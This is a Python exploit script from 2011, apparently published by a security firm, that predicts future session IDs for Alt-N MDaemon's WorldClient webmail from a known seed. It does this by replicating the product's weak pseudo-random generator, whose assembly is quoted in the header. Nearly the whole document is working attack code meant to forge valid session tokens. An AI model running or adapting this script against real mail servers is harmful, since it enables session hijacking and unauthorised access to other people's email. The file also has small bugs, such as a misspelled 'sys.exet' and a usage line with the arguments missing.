#!/usr/bin/python import sys """ Author: Demetris Papapetrou and QSecure Creation Date: 05/10/2011 Product Affected: Alt-N MDaemon's WorldClient Purpose: Generate future session IDs, when provided with a valid seed value. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . NOTES ------ The script tries to do what the assembly code below does. The calculation for the next seed is: ((seed * 0x08088405) + 1) * 0x4EC4EC4F ---> put in EDX:EAX Next_Seed = EDX / 8 The 1st char of the session ID is produced based on a different algorithm and seed value. Because of this and due to the fact that it can be one of two values, we decided to generate both values and produce two separate session IDs. One of them is valid. Which one? You have to ask WorldClient. :-) --[ Assembly Code ]-- IMUL EAX,0x08088405 INC EAX MOV EBX,EAX ->MOV EAX,0x4EC4EC4F | MUL EBX | SHR EDX,3 | MOV AL,DL | IMUL CL <--- CL = \x1A | SUB BL,AL | ADD BL,41 <- MOV EBX,EDX sid1: ADD BL,0E ADD BL,41 sid2: ADD BL,41 """ #set to True to become more verbose dbg = False #initial seed number #seed = '0x78150090' generates session id XQFQYNP #seed = '0xB13342D1' #seed = '0x82fc1216' if len(sys.argv) != 3: print("Usage: seed.py ") print("Example: seed.py 0x78150090 10") sys.exit(1) if (len(sys.argv[1]) == 10 and sys.argv[1].isalnum() == True): pass else: print("Error: The seed must be a hex number of 10 chars (e.g. 0xB13342D1).") sys.exet(1) if sys.argv[2].isdigit() == False: print("Error: The number of session IDs to produce must be a numeric value (e.g. 10).") sys.exit(1) seed = sys.argv[1] #number of sessionID generation cycles to perform loops = int(sys.argv[2]) for i in range(1,loops + 1): sessionID = '' sessionID_1 = '' sessionID_2 = '' # -------- IMUL EAX,DWORD PTR DS:[100E0ED4] -------- which contains \x08088405 results are stored in EDX:EAX # -------- INC EAX -------- tmp1 = hex((int(seed,16) * int('0x08088405',16)) + 1) if dbg == True: print("IMUL EAX,08088405\tEDX:EAX = " + tmp1) # -------- MOV EBX,EAX -------- # Get the last 8 digits from tmp1 which is hex and therefore a string ebx = tmp1[-9:-1] # string if dbg == True: print("MOV EBX,EAX\t\tEBX = " + ebx) seed = ebx #store ebx because it will be the seed for the next sessionID to be generated if dbg == True: print("\t\t\tNext Seed = " + seed) for i in range(1,7): eax = '0x4EC4EC4F' # -------- MUL EBX -------- (multiplies EAX with EBX and stores the result in EDX:EAX) tmp2 = int(ebx,16) * int(eax, 16) if dbg == True: print("MUL EBX\t\t\tEDX:EAX = " + hex(tmp2)) if tmp2 > 4294967295: # > \xFFFFFFFF which means EDX will be > 0 #print("EDX contains data") edx = hex(tmp2)[2:-9] #convert long int to hex and get the first 8 byte slice. EDX is now a string if dbg == True: print("\t\t\tEDX = " + edx + "\tEAX = " + hex(tmp2)[-9:-1]) # -------- SHR EDX,3 -------- which means divide EDX by 8 edx = hex(int(edx,16)/8) if dbg == True: print("SHR EDX,3\t\tEDX/8 = " + edx) # -------- MOV AL,DL -------- if len(edx[edx.find('x') + 1:]) == 1: #if edx length after 'x' is equal to 1 al = edx[-1:] else: al = edx[-2:] if dbg == True: print("MOV AL,DL\t\tAL = " + al) else: #print("EDX is zero") edx = hex(0) al = '0' if dbg == True: print("\t\t\tEDX = " + edx + "AL = " + al) # -------- IMUL CL -------- which multiplies AL with CL (CL=1A) and stores the result in AX if len(al) == 1 and ord(al) <= 57: # al's format is "3C" not "0x3C" or "x3C". Hence if "9" or "C" test its ascii code. If it is [0-9] then treat it as decimal ax = hex(int(al) * int('0x1A',16)) #print("---- AL1 = " + al) else: ax = hex(int(al,16) * int('0x1A',16)) #print("---- AL2 = " + al) if dbg == True: print("IMUL CL\t\t\tAX = " + ax) # -------- SUB BL,AL -------- if len(ax) < 4: #if len() < 4 then it is 0 becasue 1*1A = 4chars hence no case of 0x3 will exist (no len() = 3 instead of 4) al = "00" else: al = ax[-2:] if len(ebx[ebx.find('x') + 1:]) == 1: #if ebx's length after 'x' is 1 (e.g. 'x9') bl = ebx[-1:] else: bl = ebx[-2:] if (int(bl,16) < int(al,16)): #if AL is gt BL the result will be a negative number bl = hex(256 + (int(bl,16) - int(al,16))) #256 is added to deal with the negative overflow else: bl = hex(int(bl,16) - int(al,16)) if dbg == True: print("SUB BL,AL\t\tBL = " + bl) # -------- ADD BL,41 -------- which adds BL and \x41 (hex 41 = 65 decimal) bl = hex(int(bl,16) + 65) if dbg == True: print("ADD BL,41\t\tBL = " + bl) if len(bl[bl.find('x') + 1:]) > 2: #if bl's length after 'x' is gt 2 then we have an overflow of the register bl = hex(int(bl[-2:],16)) ascii_char = chr(int(bl,16)).upper() if dbg == True: print("\t\t\tCHAR = " + ascii_char) sessionID = ascii_char + sessionID if dbg == True: print("\t\t\tSessionID: " + sessionID) # -------- MOV EBX,EDX -------- ebx = edx if dbg == True: print("\t\t\tEBX = " + ebx) if dbg == True: print("------------------------------------------") #The last step is to generate the 1st char of the sessionID if len(ebx) < 3: sys.exit() elif len(ebx) == 3: # -------- ADD BL,0E -------- # -------- ADD BL,41 -------- which adds to BL: \x41 (hex 41 = 65 decimal) + \x0E (hex 0E = 14 decimal) bl = hex(int(ebx[-1:],16) + 65 + 14) if dbg == True: print("ADD BL,0E") if dbg == True: print("ADD BL,41\t\tBL = " + bl) ascii_char = chr(int(bl,16)).upper() if dbg == True: print("\t\t\tCHAR = " + ascii_char) if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122): sessionID_1 = ascii_char + sessionID print("SessionID 1: " + sessionID_1) # -------- ADD BL,41 -------- which adds BL and \x41 (hex 41 = 65 decimal) bl = hex(int(ebx[-1:],16) + 65) if dbg == True: print("ADD BL,41\t\tBL = " + bl) ascii_char = chr(int(bl,16)).upper() if dbg == True: print("\t\t\tCHAR = " + ascii_char) if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122): sessionID_2 = ascii_char + sessionID print("SessionID 2: " + sessionID_2) else: # -------- ADD BL,0E -------- # -------- ADD BL,41 -------- which adds to BL: \x41 (hex 41 = 65 decimal) + \x0E (hex 0E = 14 decimal) bl = hex(int(ebx[-2:],16) + 65 + 14) if dbg == True: print("ADD BL,0E") if dbg == True: print("ADD BL,41\t\tBL = " + bl) ascii_char = chr(int(bl,16)).upper() if dbg == True: print("\t\t\tCHAR = " + ascii_char) if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122): sessionID_1 = ascii_char + sessionID print("SessionID 3: " + sessionID_1) # -------- ADD BL,41 -------- which adds BL and \x41 (hex 41 = 65 decimal) bl = hex(int(ebx[-2:],16) + 65) if dbg == True: print("ADD BL,41\t\tBL = " + bl) ascii_char = chr(int(bl,16)).upper() if dbg == True: print("\t\t\tCHAR = " + ascii_char) if (int(bl,16) >= 65 and int(bl,16) <= 90) or (int(bl,16) >= 97 and int(bl,16) <= 122): sessionID_2 = ascii_char + sessionID print("SessionID 4: " + sessionID_2)